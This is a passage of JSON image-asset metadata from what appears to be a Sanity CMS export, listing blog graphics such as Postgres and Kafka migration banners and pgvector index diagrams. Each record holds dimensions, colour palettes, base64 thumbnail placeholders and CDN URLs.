IURWWqipmiIpaSZJYUU0yUZPbXYhju9dYYj+veDFk123K47u6fdxYVFTsqKiqu9/X1xacmQtrU+Kg1MRaAybEhuH1rGKbHR2A6NPoPE0GYDgXh99Ao3AkFYbi3AwJnndb9slem1+tee5/z+7v2uFzfHSwp+byitNTV0eT5ZqT30olHgy3H1MHmD/Fg01Ec8B7FgcYCHGhw4sAFJx6qc+IhTz4O1OajAfe7eNy1T5l1vz4Zbjzg5BoavE+fPv3truITn2R9dPzYq8Gm7A8eXd17TejdMxvtyeIF/25eaH+ZF3wv8ULLi7zQ9AIvXNzFC3XP80LtTj56Zge/5t4xE6961r9Sk7n/b7ODAP9mYeaYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423c45","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#642c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88208","foreground":"#000","population":5.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9bcc5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ebfec","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49c5c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88208","foreground":"#000","population":5.35,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074.jpeg","path":"images/sczeoy4w/production/815831c321aa22eb7e35df02bbee2e680af2fce6-1600x1074.webp","sha1hash":"815831c321aa22eb7e35df02bbee2e680af2fce6","size":68640,"uploadId":"9vg9HulPccE2rYG54EM7ijWrmIeyazY1","url":"https://cdn.sanity.io/images/sczeoy4w/production/815831c321aa22eb7e35df02bbee2e680af2fce6-1600x1074.webp"} {"_createdAt":"2024-02-22T08:56:52Z","_id":"image-e84430c4f19134546833507b2ae2105cf6eedbdd-1200x628-png","_rev":"ie5WJlLr1SLUBaBgCtY736","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T08:56:52Z","assetId":"e84430c4f19134546833507b2ae2105cf6eedbdd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNyZ.+VX+aeB~CpbZ~iyi}Y+ZOghb^gM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACH0lEQVQokS3R52uTYRiF8VcFV4vgqqOW2tSmsTWpo+lIJFFRBPGboFbFPUBxYGsqhI4Mm2mjUdF/Ntclb99+eL7+7nPOE3Bvr7wZlsUpWUrJ0qR8OSufR2VxRAoxLY7LSkKKI7J0SAoHpDos7UlpJaQ5JpvnpHvRgAf98ikplZtSuyXlK7KekdW0rE1LOa0bGWnmpDYjqzFZPSWNRATWTsu3U1IfkeYZAxb65ONkBNZvSykvq3NSykglK5U5rWWlfVXaOWnOSCcj3XlpjkvpmJQGpHpCSkcMuL9P3p6RYlZK12TtsqzMSmleqlmpzkdgKy/f87KZk25OOmlpxGVjWOoxqZ+WyvEQ3C/vxqSYkfJ1qVyT9ayUs1ILU93QRl5q89IIU81IPSn17cqdKfl5PtqwMbpdOQSXp2U9H20YJlyblW85aYQHUrI8JMuDUhyU9SGpxyOsk5IfU9FrxbcrvxqS93FZTEoh/OmELE9IMSUrSfk6LIWj8uWgFA7K2qC0JuTnBWkntiA657ZSBr27u+09G7D3ekjenJSXh+RZn7zok9f98vaAFI5LeVQqsShddUQ2U9K9JK1xacYj/M/sNvh0wN6rQXsvjsrjffIgkIeBPA7k+U5ZOiz1CWmnZGMsqvvjovxOR9t1klsYf7MGvTs7DFHu75GF3bKwKwIfBfIkBHfIh36pjkk7KdWY1OLSnZY/c/LrkvxKy9+M/Mv6H5TSDmepEN9cAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935705","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac47a","foreground":"#000","population":0.43,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b19e51","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"postgres migration.png","path":"images/sczeoy4w/production/e84430c4f19134546833507b2ae2105cf6eedbdd-1200x628.png","sha1hash":"e84430c4f19134546833507b2ae2105cf6eedbdd","size":187010,"uploadId":"l9uEzVGMGBMO9BOBYQg7WbzAhtJ416qH","url":"https://cdn.sanity.io/images/sczeoy4w/production/e84430c4f19134546833507b2ae2105cf6eedbdd-1200x628.png"} {"_createdAt":"2024-02-22T08:58:47Z","_id":"image-a52553ba8eeb933c5cf72a87d085ab4caf0e09f7-1200x628-png","_rev":"AhQsd13Ciq0lSu1FleycvJ","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T08:58:47Z","assetId":"a52553ba8eeb933c5cf72a87d085ab4caf0e09f7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN$i.%V=-.dr~qpGZ$j0idZ3ZigNbbgM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACKUlEQVQokVXSC0uTARiG4W8UlRV0tiQqXWmZS2umm9sSo3MQBEVpdKBzgZTkKkhsOtc2D3mYmR2gqP+5+47tC6If8F48PM8bcHODPD0go12S7ZRsh7xul1dRGW2RN1EdOyzjR2S8VSZaZeaEfD0vP67ISkrm2mU+JpW4AUObZCQm+fNSvCj5AZnMSC4hE72S79EPSSmlpJyQ2aSsnJVf1+X3dfnUJ6VmKbfIzKEauFFedsjEGZk6J7m05FJS6JfSgBQzWqwdJWUmIwsDsnpRvl2QSq8UmyW/RwpNMrnTgMEGedEuY2kZ65N3PfI+Ifl0CE6f1vIpKSZluk8+ZmT1kny/LItxKbVIOSrlZpnaUwM3hAlzpyXXL+9TITjeLZOJekKKKZmKy2RMil2yPCA/r8q3c7LULUvHZSEm0wcN6qMM10rvD8GxXhmJyvNdMtwoI00y2iTZ3TK6Q942SqFVKn3yORNii52y2CWzbTVwvTzZH678Ni6v2uXRFrkTkXsRebhGhjdJdoe83iZvtkpur8x2yFJc5o7UoXrC+ZhB9cY6qw92W33WLM/3yaPtcmet3A7kbhCCtWT5gzIVlYl9UmiR+U6pdMvsYZlpk6UTspL4C95vtPp4r9WHu+Rug9yK/A9md0r5qMx1SrFVym3hIJ96wv9bOFbHWE0bVK9FrKEMrpehdTK0Rm4F/8D7EXmxOext7pgUolJqk8pJWUnKcrcs98hqSr6k/QOfTQ7c5OPFogAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784620","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b56a30","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945704","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc377","foreground":"#000","population":0.49,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka migration.png","path":"images/sczeoy4w/production/a52553ba8eeb933c5cf72a87d085ab4caf0e09f7-1200x628.png","sha1hash":"a52553ba8eeb933c5cf72a87d085ab4caf0e09f7","size":184608,"uploadId":"Mt8fRCSYyNJDSNvubGX899R8RLZDwEz0","url":"https://cdn.sanity.io/images/sczeoy4w/production/a52553ba8eeb933c5cf72a87d085ab4caf0e09f7-1200x628.png"} {"_createdAt":"2024-03-04T12:48:10Z","_id":"image-ed77135670acadbbfd4af9bbc7a67dae6b254e88-1156x1175-jpg","_rev":"l09zfllA91kWryrBqaZ4iy","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T12:48:10Z","assetId":"ed77135670acadbbfd4af9bbc7a67dae6b254e88","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXBzkexbT#IUo$yGo$t8ofR*NHW9nMxZjD%NV?S5WBn%s;ogWDX9Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9838297872340426,"height":1175,"width":1156},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQGAwUHCP/EACQQAAEEAgIBBAMAAAAAAAAAAAEAAgMEBREGIRITFDFBMlGB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAwQGBf/EAB0RAAEEAwEBAAAAAAAAAAAAAAEAAgMxBBESUSH/2gAMAwEAAhEDEQA/AJeav0qdR8sMbvBg255H0ubz86gqWQ/HskawH8j8H+Kz0+a4e3bkoRsLxLG7t46P6VF5hWp1shUibUih8unvD9tO/gp7MyyJuY69QsTEa6HqS/F1DHzx5apHdETz6w8iWu62i22EpwQ4mrHHMxzGxgAtOwi2o5HcDZU9I0dnQ+LynFcnrWY7ETyJWHYKm8gyVm9Oz3D9gN2APpEUubVSKKzYzlWYx1VterdkZE09N3vSIiMHu9S5Y3dL/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3330","foreground":"#fff","population":7.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a75ba","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#caa097","foreground":"#000","population":7.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa097","foreground":"#000","population":7.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78a9d7","foreground":"#000","population":7.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687da3","foreground":"#fff","population":4.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3884cb","foreground":"#fff","population":2.84,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"PXL_20231003_133028578~3 - Paul “pulsar” Rogalinski.jpg","path":"images/sczeoy4w/production/ed77135670acadbbfd4af9bbc7a67dae6b254e88-1156x1175.jpg","sha1hash":"ed77135670acadbbfd4af9bbc7a67dae6b254e88","size":744766,"uploadId":"PTxDiRRRZhmA1UmGTipGr7RHvn6Uqv0b","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed77135670acadbbfd4af9bbc7a67dae6b254e88-1156x1175.jpg"} {"_createdAt":"2024-03-05T12:26:47Z","_id":"image-75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844-png","_rev":"Aaow4ZewAH4cr6S8WhYkhE","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T12:26:47Z","assetId":"75aa2206243b6f7559908536d6dd8bd50b07c3f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98z{2_29De.xb?dtPM_Wra~4mIVxuogRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdElEQVQokSWRaU/aAACG+wuUq6X3QVtEFDfDPDJkU1AHBUTaAqXcUAQ5xI040UXUKuom0xgX2NzM9lO3afJ8ffK8yQuY0DhEKlZKhekswpQwrkrwDZzfIR0faOc+7Txkpnqs64R2HiBsE6RqIFkzYwUDnBq3ygAzWVjw7nr9e97Vrl84Xo+c+YWz5Xd9n3DlC10vBwf+8F1QHPmEG6d7D6I0C1EFqW0TXjKiGcA+U/YHu9G4LqYuU4WbROZrTBkksvdKfiilh6L6PZF/lDOPPmHgmO1AdAWi2wj30crsQnQL4KZLb9f2onFdVq9E5UrY7Ielz8ncvVocyZlhIvtDLf0OxoZOdw+xNSG6gXIHmP0TynUxew9gnUWPrxPYOIpIeih27hdO1yN9IXYdlm/D8t2mMkzkHkPSaOpVD6KbILltpVsQ3bIybZTrAnbX/9kh8SQi6RvyhRC7EGKXgc0vYflWSg9TxV/p8h9RfXAv6bCtbkILJjRrQrNmvAhRdYB3lVcC+4Fobz3SC0T1ZzksDST1PpkbKYWHRP5nSPr2YvEIoitGJGPC8s+AZBWg+OzLhfqcpz272Ha/7sy/6c57DxdXjr1r/aVV3eM/9ayez3l1ztWxEAUjkraQWyC1bcZLZrwMYLhk59SJqZJtUsPYEsJUUFsN45o430bYGsyUEbaKsg2IqprQjBFJgeTTVVjOACsAg4suLuma0fjpLYQpmvEiSFYgqg5RDTOhGdG0CctaCM2MlwxwygAnn5rFcTg5BokAySg2Ls06CvREmeA1jK8S9gY5sUM53hP2FspqGKdhXAOiygY4OW6NG5G0AUmNWeV/8l8BSLVOWNzw+AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372d5a","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":11.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":11.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d5","foreground":"#000","population":0.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2c7ea","foreground":"#000","population":0.76,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e92","foreground":"#fff","population":1.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb494e","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data_maze.png","path":"images/sczeoy4w/production/75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844.png","sha1hash":"75aa2206243b6f7559908536d6dd8bd50b07c3f9","size":153450,"uploadId":"DbsRHcANMixCbm7SFJ1OBnDT10mpdrcK","url":"https://cdn.sanity.io/images/sczeoy4w/production/75aa2206243b6f7559908536d6dd8bd50b07c3f9-1567x844.png"} {"_createdAt":"2024-08-15T12:32:01Z","_id":"image-7e1900f921bb39d9618fa8f5c272786423c64a6a-2500x1308-png","_rev":"IfcE7wIV1h1jXbQcf4Kw2q","_type":"sanity.imageAsset","_updatedAt":"2024-08-15T12:32:01Z","assetId":"7e1900f921bb39d9618fa8f5c272786423c64a6a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47BBN^VMv#~v|%%ShNEXBNd0fEQt3NNNe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcklEQVQokUXSaU8aARSFYf5BE20FZgZwGGZXZ9hcqhEVaK2ocWy6a9paNEDVClpQxLW1rrFp/cFvAyb1w8n99uTe3ON75H9JT+gtgryEP7JMl9jOJ7qlIo/DJXp6N/DLVQLKdwR1D1E76ERQmwRjuwRj7blHQKkTiG7j6xZeEbU+058qY8UrKHYJ2aoQtTeJ9dfQnAaa20SPH2KmTrHSvzoxk6eYyWPM5A+UgVNEbZ+g0sD3JPQGZ7BMvtBkev6I7MwhucIJ+bkzcoVz8nNX5GZvyM7+Jj9/x8TMX55mbxmevGQsf01m+o742C299k9E/QRft/gK3Skylt1h6sU+E89bZGdOmF4459ncBdnCJZMz12Rnb8kW/pDOXKPHj4kNNDESRwwMX2GkbujtuyRsX+PrCi5iWa8ZSi/jJFexEuv0pWo4Q3XsVAPdreOmG2TGdxkZPcBMHCPbe0TMbUJGHck4RDJ+EDLP70FB8vAyHmXvLbnxFZzBTeLD33GH66gD24TUTUZSJT5Mf2FuaoP06BGJ0RPckQOMRIuw2ULUHlBfUPJYyCzy9eV78uMrWG4FK7GF4VaJGFsIyjoJp8jCxBK5sTXcwSZ2qoXu7qL07xMy2l+/B8PWBb6ugIcRWyTlvEOzPiIqKwjKGpJaQVI3ENVvRLQKqlEkqpeRtBpCrEogWkWINRC1hw3D1iW+Lr9HVPKwtCVUe5WQtkpYK6E7VexkAyPeQLZrBOQyj8NlnkQ26OndxC/XOv0T1BZBtdlBQ+ZZG1xAljwM7QMxqw0WCeslzMQ2/YO7mMn2aTsEo5X/Re+RtwhEdzpYG7qHm0j6Kf8A9Gdk9Wlf2Z4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252450","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042484","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2786","foreground":"#fff","population":8.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bbc2","foreground":"#000","population":6.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8494c4","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6f99","foreground":"#fff","population":2.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2786","foreground":"#fff","population":8.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"LinkedIn_GenAI_Webinar_with_GCP_1200x628-nodetails.png","path":"images/sczeoy4w/production/7e1900f921bb39d9618fa8f5c272786423c64a6a-2500x1308.png","sha1hash":"7e1900f921bb39d9618fa8f5c272786423c64a6a","size":449344,"uploadId":"YduzRnmmmkNHWRVaDVGIf0HSSARshGjq","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e1900f921bb39d9618fa8f5c272786423c64a6a-2500x1308.png"} {"_createdAt":"2024-03-08T07:48:49Z","_id":"image-5ba66e2d19565050210d1cd793c2cd7a82989f07-3200x1214-png","_rev":"TOsxXx20RF0WqO4qub8XTa","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:48:49Z","assetId":"5ba66e2d19565050210d1cd793c2cd7a82989f07","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDFXeB%JTH}r5S0P42F]+Ksm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6359143327841843,"height":1214,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACU0lEQVQokS3DX0gTcRwA8N81nTKZ03l3223387bpttv9+d33trEz/+yfvzvF3iQQoacSAl/6gxVRYARCICGjoKfyzkrNeuzBpyKQIujFh3rKnERRYG+9L0w/8EG9iEE4hoNYxGmM8WmM8SgWsY5FLOCI2OG0biK2nUdnkikUEMVTMYzDcYwzIsYgYpwWMO5G0SjTkGWEeB4h7X7FlxzO9EhqckCSk6okJxVJTeUSMNCfqsld5EGVIRcKqFUsobvZbPtoIsERSZJVSTIMScpOpVLh15rW9jefZ1xFQQie0C59aTSsXCkJylVLUBasaO5SKa5cGxK05XKPsUr9zkqN+WlA265pBLc0lV3J5eL3ZBmv5HKxbV1jvwKEDgA69wAQUp7Z3cpzm1U2HU59MRFRNx1e3XA4fd0Jw5odBJf6zy1VmV+q4f+hQ+9vHbhDAvwfAvyhDn2/dQh9JxDcN6Hzi2UyaLJRDzmNGjfeqEWqD+vR2nFu5NF40HxMfekNBy1fHEYfq4WOd7TIvrWL8feVQuzTSD76oZxntyeLga3pku+zZTItTkXo1XQptDVd4jbOWtzq7BC3NmPxT2cs1p21Aju1AoNaLbRwfQzN3y775xYr/Pk7lf75W2Xh8o0xdm6xzE026j2ZdaeDeTPFJF5OINQ0oa8JEGsCCPvm/+JJ/psJvXsmdO3UCz5wbT+4lDddmgCXxsGlArgUH7cj4Nlhw7O70QFA9ABgsHk83QTQTupNANIESO4O5wPmKu0kHhWIZ2eJZw8Sj2aIR/WjhmeTo8SzlX+nfqtR+Dve/wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335e3d","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b0b1d","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#335e3d","foreground":"#fff","population":1.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#76222e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e197a2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c555f","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b23345","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-ivvflat-vs-hnsw.png","path":"images/sczeoy4w/production/5ba66e2d19565050210d1cd793c2cd7a82989f07-3200x1214.png","sha1hash":"5ba66e2d19565050210d1cd793c2cd7a82989f07","size":222030,"uploadId":"EZOvWIplTLeJHEE58vynIaDTK5nMINeC","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ba66e2d19565050210d1cd793c2cd7a82989f07-3200x1214.png"} {"_createdAt":"2024-03-08T07:44:54Z","_id":"image-c6124f6bd8cf728a2226f873c0f22cccdd7b7135-3200x1982-png","_rev":"QYGdEGGMhf311CDlzqrlog","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:44:54Z","assetId":"c6124f6bd8cf728a2226f873c0f22cccdd7b7135","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VAJ8R]~V005R9FZMwuT19|XS00rq.S9]%gMH$%t,EkNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6145307769929365,"height":1982,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADqklEQVQokTXS228UZRgG8G9t2SJb2lpBiqjIlV5xpakaQtMQqT3Qdlt62C4rKPWiGFILFKEaMYQgBmNiYqUVWrUVU0GBYqyx1kIPe96Z3TnPfN83p52ZnS4GE29AbTtruonvH/DL8+R5wcvVtQBsPgWuX70CwgQL8LXDhfjWsVK0MPYMTs1WqiLRoSmwR9W0AFLU3TyUn6V5aWMixRRGEinX8Og4aNjvB43tAdDYFgBg335/UZ3XVzQ0MuahOWk7VvRqJCvdWNHO64b1nWll5i3LpEwrHZdN4ydomJ+rZua4mra8EtZ2hmJkWU9v/7r61i53c8dB9xpYVuftLBsaGdtC81KVrJvvybp5S9ZNMW1l/7KW/lix7GzOtDOOYll/I8vK6JmlRd20B6Gsd0UTqR0nTp9ZX9PU4W7xvZEHPbXeTs/gl1+VJWl+p4jVQxLWhpGi05phPzDtezlr6Z5j2UuOmsmsQsOwkW78jFVjQEDKnmA0seXYu+8X7n61wXXg8BHXWv+S2ubOkuHR8U0kzb/EibiPFfEEJ8kiVo0H6UzWseysk7YsB5vmCq/rWUHR7kJZvyhitSVGUE+fu/BJIfj/8qC3s3h0fOLxFCtU8pLcy0N5goeyJMnaQ83IOKaddVTTznGascyqmi0q2gxU9I9ErDZGidRTZ89fXFdcXgFu/zKTB4sbWrs8Ez9OPkZz0gusiHoYAX3NipgXkfpQVtO5tG44WNVzFFSWSREatABvClA5yUO5aiEU2/TWkd6CXdU1YPTb7wFoaPWXNbUHNk5OTVfwkryXE/G5FCNMU6xocZL8L8KaIyPZESDOESJajbLCfZIVggJUPl1LGIqRW4/2nSzYum07eLR8Wx70NLYFNkz8MFmeYoTKJCO8E08yNwiKS9O8tCwhxUESdjgeOaSAViMUez9CUndImjtL0vzeu4uRiv6BM4W79tS5/G/2uNZWLq1v8ZUOjYw9EY6TVVGC+iBKUFPxJJMmae4floc5xKOcyMIcyYkri0nqz8UYGQvFyEsLkYR/enZ+x4mBD9fXNLa7vb5DRfm3qfP6Nnxx+ZuSYJR4PhxPesPx5Kl4krlMUNxvDCexAo91mkE4xqJIiOGvB4nUx6EY2T0XjL0yNT27+ejx0+66Fp+7ufNgHgT1rV3gs0tXwFww+sj07ELRnYVweZSgniMo7jVGgP2siAcTtHQhTMFAnIMvhhLkkzNzQc+vv88XXL1209X9dh/Y13YANLW/Dv4DmsdayG/COcUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3c44","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#664c16","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1d4d7","foreground":"#000","population":0.57,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d4d7","foreground":"#000","population":0.57,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8d893","foreground":"#000","population":0.24,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70908f","foreground":"#fff","population":0.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3b93de","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-hnsw.png","path":"images/sczeoy4w/production/c6124f6bd8cf728a2226f873c0f22cccdd7b7135-3200x1982.png","sha1hash":"c6124f6bd8cf728a2226f873c0f22cccdd7b7135","size":330924,"uploadId":"YnDIakrPtaZpjj8xJ8kiYpExk4NKo9GK","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6124f6bd8cf728a2226f873c0f22cccdd7b7135-3200x1982.png"} {"_createdAt":"2024-03-08T07:47:03Z","_id":"image-f7efa266b91ada28056a31ff838c6bfa3bef9fd8-3200x1356-png","_rev":"QYGdEGGMhf311CDlzqruGx","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:47:03Z","assetId":"f7efa266b91ada28056a31ff838c6bfa3bef9fd8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLC6TO+Wam{0wEMzbKfzX2V?0vK6f3BpS*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.359882005899705,"height":1356,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiUlEQVQokWOwsHdlN7BzYZSUlWWWk5PjkVNU5pMxdueRcsnilvRvZFWKn85g6+zJbO3szWrm7MUoJScHUsctp6DEK2PgzCPtnMktFdDEJpG5mVHG1JeBwc/elXOJqQXrAW1d5gQFGWZFl1QWpbzNPMplB4WUKo5xKRduY3Jw82IOdfVhW2JhzXJER5c5X1mBWcM+mkU5dyOXSukBQcWyIzzSpSdYREtOMzDk2znznLWx5XtpZ8/zz8mBxXnqWyaL3pt81r3XxCx7rvEZ1RxksnX1Zq508eQ8Z2fP+8rOjueTgxNrWMc1JusJt3kcJtwQse69xqdad45VrPgEM0O5kxvvdV8/4ZfBwcKPg4I4gotWMdv3X+N2nXJB1GHGVgHT6aVsFomerG1eflzX/QOEXgUFCV8PDOPyzV3F4jzlJmfQ7Nv8AbPvcBm0XmIWKz7BwpDn4slzNTxC4E1srMCz6Gj2toRGRsOuW8x201dx2ywpEbReHs5vXe/LWesXyHk1Mor/TWyMwJWoJE6PrNXMOl3XmX2m3WDznn6TzaH/Kotc+UlWhhAnD879fgHsX8LC2N6EhjL9L7dlmD8vgMFxfRKL97YEAZ8t8UIu3